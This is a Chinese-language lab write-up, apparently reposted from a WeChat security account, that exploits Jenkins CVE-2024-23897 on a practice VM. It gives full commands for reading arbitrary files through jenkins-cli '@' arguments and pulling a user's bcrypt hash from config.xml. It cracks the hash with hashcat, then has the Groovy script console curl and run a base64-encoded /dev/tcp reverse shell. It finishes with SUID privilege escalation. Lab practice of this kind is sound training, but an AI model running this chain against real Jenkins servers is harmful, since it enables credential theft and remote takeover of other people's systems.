Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

admin 2024年3月5日11:15:36评论59 views字数 7469阅读24分53秒阅读模式

一、前言

本文将深入研究一项涉及Jenkins的安全漏洞(CVE-2024–23897),将在实验室中介绍这些概念,这些技能对于渗透测试期间有效管理输出至关重要,而在本次漏洞利用中,更显得尤为关键。

本文还涉及Jenkins凭证管理,针对Jenkins部署,指导参与者如何查找存储的用户和密码信息。更加刺激的是,我们将引导参与者使用Hashcat破解这些凭据,进一步揭露其中的安全挑战。

实验的一大亮点是反向Shell测试,要求学员使用Jenkins内置的Groovy脚本控制台建立反向Shell。通过一个非常典型的试错过程,参与者将亲身体验实现远程命令执行的刺激和挑战。

最后,我们将探讨权限升级,一旦shell访问得到保护,参与者将识别并利用设置了SUID位的二进制文件进行权限升级。

二、 Jenkins (CVE-2024–23897) 靶机主题

此次靶场攻击主题内容:

  • 了解 CI / CD:参与者将从基础知识开始,了解 Jenkins 是什么及其通过持续集成/持续部署 (CI/CD)(Security+

  • 认证的基本概念)实现软件开发自动化方面的作用。文件描述符:实验室介绍了文件描述符,重点关注 STDOUT 和

  • STDERR,教参与者如何操作这些流。这些知识对于有效管理渗透测试期间的输出至关重要。

  • 输出抑制和重定向:以文件描述符为基础,参与者将练习根据所涉及的文件描述符抑制和重定向输出,这是任何有抱负的渗透测试人员工具包中的一项重要技能。

  • Jenkins 凭证:该活动针对 Jenkins 部署,指导参与者如何查找存储的用户和密码信息。使用 Hashcat

  • 破解密码:参与者提取凭据并使用 Hashcat 破解它们。

  • 反向Shell测试:本实验的一大亮点,本部分要求学员使用Jenkins内置的Groovy脚本控制台建立反向Shell,通过一个非常典型的试错过程来实现远程命令执行。

  • 权限升级:一旦 shell 访问得到保护,参与者将识别并利用设置了 SUID 位的二进制文件来进行权限升级,了解 SUID位的重要性及其在类 Unix 操作系统中的作用。

三、靶机配置

下载靶机:

https://drive.google.com/file/d/1YD7fyJIjPCV3FtUfnK7UbxlMnUdrvA6X/view

下载后给靶机生成一个MAC地址:

00:50:56:3D:BD:9B

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

配置之后开机,你是没有密码进行登陆的所以这个不理它

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

我们给靶机生成过了MAC,这个需要进行定义MAC,必须也要在一个局域网里!要不然找不到

sudo arp-scan --localnet | grep 00:50:56

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

┌──(kali㉿kali)-[~]└─$ nmap -Pn -sC -sV 192.168.207.132Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-04 11:15 CSTNmap scan report for 192.168.207.132Host is up (0.00082s latency).Not shown: 999 closed tcp ports (conn-refused)PORT     STATE SERVICE VERSION8080/tcp open  http    Jetty 10.0.18| http-open-proxy: Potentially OPEN proxy.|_Methods supported:CONNECTION| http-robots.txt: 1 disallowed entry |_/|_http-server-header: Jetty(10.0.18)|_http-title: Dashboard [Jenkins]Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 9.61 seconds

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

我们需要从靶机系统下载一个Jenkins客户端,这个客户端后面用于利用,先创建一个文件夹

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

然后执行wget把jenkins-cli.jar提取到文件里面,如果出现错误多尝试几次,把它提取出来!

┌──(kali㉿kali)-[~/jenkins-exploit]└─$ wget http://192.168.207.132:8080/jnlpJars/jenkins-cli.jar --2024-03-04 11:36:00--  http://192.168.207.132:8080/jnlpJars/jenkins-cli.jar正在连接 192.168.207.132:8080... 已连接。已发出 HTTP 请求,正在等待回应... 200 OK长度:3623400 (3.5M) [application/java-archive]正在保存至: “jenkins-cli.jar”jenkins-cli.jar                 100%[====================================================>]   3.46M  --.-KB/s  用时 0.05s   2024-03-04 11:36:00 (67.7 MB/s) - 已保存 “jenkins-cli.jar” [3623400/3623400]

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

四、本地文件读取漏洞

使用CLI命令测试查询在服务器上是否启用了匿名读取权限,注意IP地址需要换成你自己的!

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 help '@/etc/pass

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

通过Jenkins客户端的help形式成功向我们展示了/etc/passwd/文件的第一行。
值得我们注意的是。此漏洞的一个关键方面是,不同的命令可以读取文件中不同数量的行数,在help情况下只返回一行。

获取可用命令的完整列表:    

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 help

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

在本实验的下一部分中,我们将编写一个脚本来测试这些命令中的每一个,以查看可以读取/etc/passwd中的行数。本节是shell脚本编写中一个有趣的实用练习。首先,只需将 help 命令的输出重定向到名为 output.txt 的文件即可。

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 help > output.txt

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

┌──(rootkali)-[/home/kali/jenkins-exploit]└─# ls                              jenkins-cli.jar  output.txt┌──(rootkali)-[/home/kali/jenkins-exploit]└─# cat output.txt                  

output.txt 是一个空的文件夹

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

这是因为此处的 help 命令的输出是打印到 STDERR 而不是 STDOUT。

在 Linux 系统上:

  • STDOUT与文件描述符1相关联

  • STDERR与文件描述符2相关联

当我们使用>字符将输出重定向到文件时,默认情况下它会将打印的信息重定向到STDOUT或文件描述符1。

  • 帮助输出将改为发送到STDERR,我们可以将STDERR(文件描述符2)输出重定到这样的文件。

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 help 2> output.txt

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

TXT文本包含了当前的两条信息
  • 我们可以运行的命令
  • 此命令的说明

所以下面要编写一个脚本来枚举每个可用命令来测试它将从/etc/passwd

文件返回的行数,我们需要执行以下操作
  • 删除包含说明的每一行
  • 保留包含我们要测试的实际命令的每一行

如果打开output.txt 你会发现每个命令从行首开始2个空格,而描述始终从行首开发4个空格。

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

创建一个output2.txt的文本,直接将下面的命令给丢进去

add-job-to-viewbuildcancel-quiet-downclear-queueconnect-nodeconsolecopy-jobcreate-credentials-by-xmlcreate-credentials-domain-by-xmlcreate-jobcreate-nodecreate-viewdeclarative-linterdelete-buildsdelete-credentialsdelete-credentials-domaindelete-jobdelete-nodedelete-viewdisable-jobdisable-plugindisconnect-nodeenable-jobenable-pluginget-credentials-as-xmlget-credentials-domain-as-xmlget-gradleget-jobget-nodeget-viewgroovygroovyshhelpimport-credentials-as-xmlinstall-pluginkeep-buildlist-changeslist-credentialslist-credentials-as-xmllist-credentials-context-resolverslist-credentials-providerslist-jobslist-pluginsmailoffline-nodeonline-nodequiet-downreload-configurationreload-jobremove-job-from-viewreplay-pipelinerestartrestart-from-stagesafe-restartsafe-shutdownsession-idset-build-descriptionset-build-display-nameshutdownstop-buildsupdate-credentials-by-xmlupdate-credentials-domain-by-xmlupdate-jobupdate-nodeupdate-viewversionwait-node-offlinewait-node-onlinewho-am-i

下面创建一个Bash 脚本,用于生成一个名为enum.sh 的脚本文件。该脚本的作用是循环读取output2.txt文件中的每一行(假设这些行是 Jenkins CLI 命令),然后为每个命令生成一个输出。

cat output2.txt | while read cmd; do echo "echo -n "$cmd: "; java -jar jenkins-cli.jar -s http://192.168.207.132:8080 $cmd @'/etc/passwd' 2>&1 | wc -l"done > enum.sh
cat enum.sh

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

创建完enum.sh看看里面有没有内容,IP是不是准确的,以防后面出问题,运行脚本前给个权限。

chmod 777 enum.sh ./enum.sh

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

脚本似乎按预期运行了。它执行了每个 Jenkins CLI 命令,并将输出重定向到 /etc/passwd 文件,然后通过 wc -l 统计了输出的行数。

每一行的格式是 <命令>: <行数>。行数表示执行该 Jenkins CLI 命令后输出的行数。

请注意,对于一些敏感的操作,例如 delete-job、delete-node、delete-view、offline-node 和 online-node,输出行数较多。这是因为这些操作可能会对 Jenkins 环境产生重大影响,输出包含了相关的信息。

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 connect-node '@/etc/passwd'

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

五 、枚举Jenkins用户、提取密码哈希值(破解)

Jenkins 安装将有一个文件,其中列出了此处的所有有效用户。

  • /var/jenkins_home/users/users.xml

使用 connect-node 命令读取此文件,如下所示

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 connect-node '@/var/jenkins_home/users/users.xml'

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

users.xml显示系统上的单个用户,kyle_reese,其文件夹为 /var/jenkins_home/users/kylereese_12022439290147957862

在 Jenkins 上的每个用户文件夹中,始终有一个包含用户密码哈希的config.xml文件。读取文件夹中的config.xml kylereese_12022439290147957862:

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 connect-node '@/var/jenkins_home/users/kylereese_12022439290147957862/config.xml'

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

复制找到的密码哈希并将其粘贴到 Kali 上名为 hashes.txt 的文件中。

pico hashes.txt

然后把哈希写进去

$2a$10$GqneLZhOq6hRpCXeXF07tuAN..Q8GKDv5zad/HfcpNpL8GJUNNdDO

1.按下 Ctrl + O:这将会触发保存文件的操作。
2.按下 Enter:确认文件名。
3.按下 Ctrl + X:这将会退出 pico 编辑器。

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

接下来,我们将执行以下操作来破解此哈希值并确定实际密码是什么:

  • cp /usr/share/wordlists/rockyou.txt.gz:复制(cp)RockYou密码字典的压缩文件 rockyou.txt.gz 到当前目录(或者需要指定的目标目录)。
  • gunzip rockyou.txt.gz:解压缩 rockyou.txt.gz 文件,将其还原为 rockyou.txt 文件。这一步是因为 RockYou 字典通常以 gzip 压缩的形式提供,所以需要使用 gunzip 命令进行解压缩。
  • hashcat hashes.txt rockyou.txt:使用 Hashcat 工具,对名为 hashes.txt 的哈希文件进行破解,使用 rockyou.txt 字典进行密码破解攻击。这假设 hashes.txt 包含已经获取的密码哈希,而 rockyou.txt 包含可能的密码列表。
cp /usr/share/wordlists/rockyou.txt.gz .gunzip rockyou.txt.gzhashcat hashes.txt rockyou.txt

注意看截图的第一条命令,复制命令还有一个符号,没有的话会提示缺少目标文件,下面使用3200模式来破解

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

hashcat -m 3200 hashes.txt rockyou.txt

过程需要等待,因为是虚拟机给配置不高,所以等它跑完

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

获得密码后,您将能够使用以下命令登录 Jenkins Web 界面:

  • 账号:kyle_reese

  • 密码:mastermind

六、后台命令执行 反弹Shell

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

Jenkins 脚本控制台在官方用户手册中可以看到可以进行命令执行

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

println "cat /etc/passwd".execute().text

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

(1)反弹shell

  • 将反向 shell 代码放入脚本文件中。
  • 强制 Jenkins 服务器使用 curl 之类的东西下载这个脚本
  • 强制 Jenkins 服务器在本地执行

从这里直接生成Shell https://www.revshells.com/访问不了可以访问这个https://www.ddosi.org/shell/

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

echo -n '/bin/sh -i >& /dev/tcp/192.168.207.128/9001 0>&1' | base64 -d | /bin/bashbase一下echo -n 'L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNy4xMjgvOTAwMSAwPiYx' | base64 -d | /bin/bash

在 Kali 上创建一个名为 exploit.sh 的文件,并将 base64 编码的反向 shell 代码复制到其中。

pico exploit.sh

1.按下 Ctrl + O:这将会触发保存文件的操作。
2.按下 Enter:确认文件名。
3.按下 Ctrl + X:这将会退出 pico 编辑器。

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

然后在目录下起个python服务

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

使用 curl 命令将此文件提取到 Jenkins 服务器 /tmp 目录。

println "curl http://192.168.207.128:8000/exploit.sh -o /tmp/exploit.sh".execute().text

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

您应该在python服务中的日志输出中看到 Web 服务器收到了状态代码为 200 的点击。
然后给Shell权限,确保文件在目标服务器上可执行:

println "chmod 777 /tmp/exploit.sh".execute().text

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

Kali NC开起来

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

直接运行Shell,NC传回反应

println "/bin/bash /tmp/exploit.sh".execute().text

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

但是无权限读取文件,那么就需要进行权限提升!

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

(2)权限提升

find / -perm -4000

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

find / -perm -4000 2>/dev/null

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

ssh-agent /bin/bash -p

Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

七、结束语

在本文中,我们深入探讨了Jenkins的一个安全漏洞(CVE-2024–23897),通过实际的实验室操作,带你一步步了解渗透测试的关键技术和步骤。从文件描述符和输出管理到Jenkins凭证的挖掘,再到密码破解和反向Shell建立,最后到权限提升,每个环节都涉及了渗透测试中的重要方面。目前此文还有更多的技术面和难题是不容易摸清的,我还是需要有空的时候重温一下。

原文始发于微信公众号(Ots安全):Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月5日11:15:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙https://cn-sec.com/archives/2547571.html

发表评论

匿名网友 填写信息